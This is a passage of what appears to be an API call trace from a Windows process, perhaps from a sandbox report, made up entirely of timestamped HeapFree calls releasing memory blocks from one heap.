lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.950] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0234.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.118] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.289] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0235.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.403] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0235.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0235.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0235.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0235.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0235.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0235.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0235.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0235.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0235.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0235.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0235.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0235.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0235.809] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0235.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0235.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0235.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0235.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.836] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0235.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0235.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0236.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0236.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0236.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0236.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0236.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0236.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0236.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0236.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0236.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0236.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0236.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0236.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0236.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0236.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 